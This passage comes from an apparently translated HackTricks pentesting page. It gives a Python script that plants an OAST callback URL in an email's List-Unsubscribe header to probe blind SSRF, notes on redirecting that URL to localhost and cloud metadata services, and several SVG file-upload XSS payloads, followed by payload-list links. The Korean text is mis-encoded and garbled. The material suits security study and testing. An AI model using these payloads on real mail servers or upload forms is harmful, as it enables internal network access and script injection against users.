msg = EmailMessage() msg.set_content(โOne-click unsubscribe testโ) msg[โFromโ] = โlist@example.orgโ msg[โToโ] = โvictim@example.orgโ msg[โSubjectโ] = โMailing listโ msg[โList-Unsubscribeโ] = โhttp://abcdef.oastify.comโ msg[โList-Unsubscribe-Postโ] = โList-Unsubscribe=One-Clickโ
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[โFromโ, โToโ, โSubjectโ] ) msg[โDKIM-Signatureโ] = signature.decode().split(โ: โ, 1)[1].replace(โ\rโ, โโ).replace(โ\nโ, โโ)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**ํ
์คํธ ๋
ธํธ**
- OAST ์๋ํฌ์ธํธ๋ฅผ ์ฌ์ฉํด blind SSRF ํํธ๋ฅผ ์์งํ ๋ค์, primitive๊ฐ ํ์ธ๋๋ฉด `List-Unsubscribe` URL์ `http://127.0.0.1:PORT`, ๋ฉํ๋ฐ์ดํฐ ์๋น์ค ๋๋ ๋ค๋ฅธ ๋ด๋ถ ํธ์คํธ๋ก ์กฐ์ ํ์ธ์.
- unsubscribe helper๋ ์ข
์ข
์ ํ๋ฆฌ์ผ์ด์
๊ณผ ๋์ผํ HTTP ์คํ์ ์ฌ์ฌ์ฉํ๋ฏ๋ก, ํ๋ก์ ์ค์ , HTTP verbs, ๊ทธ๋ฆฌ๊ณ header rewrites๋ฅผ ๋ฌผ๋ ค๋ฐ์ [SSRF methodology](../ssrf-server-side-request-forgery/README.md)์ ์ค๋ช
๋ ์ถ๊ฐ traversal ํธ๋ฆญ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
### XSS uploading files (svg)
์ด๋ฏธ์ง๋ก ๋ค์๊ณผ ๊ฐ์ ํ์ผ์ ์
๋ก๋ํ์ธ์ (์ถ์ฒ: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Find ๋ ๋ง์ SVG payloads๋ฅผ https://github.com/allanlw/svg-cheatsheet์์ ํ์ธํ์ธ์
๊ธฐํ JS Tricks & ๊ด๋ จ ์ ๋ณด
Misc JS Tricks & Relevant Info
XSS ๋ฆฌ์์ค
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
์ฐธ๊ณ
- WAF ๋ค์ ๋ฌดํดํ XSS๋ฅผ ํ์ค์ ์ธ phishing vector๋ก ์ ํํ๊ธฐ
- Horde Webmail ๋ฐ Nextcloud Mail์ List-Unsubscribe SMTP Header๋ฅผ ํตํ XSS ๋ฐ SSRF
- HackerOne ๋ณด๊ณ ์ #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- โLow-Impactโ RXSS์์ Credential Stealer๋ก: JS-in-JS ์ํฌ์ค๋ฃจ
- MDN eval()
- CAPIG XSS: postMessage origin trust๊ฐ script loader๊ฐ ๋๊ณ backend JS concatenation์ด supply-chain stored XSS๋ฅผ ๊ฐ๋ฅํ๊ฒ ํจ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


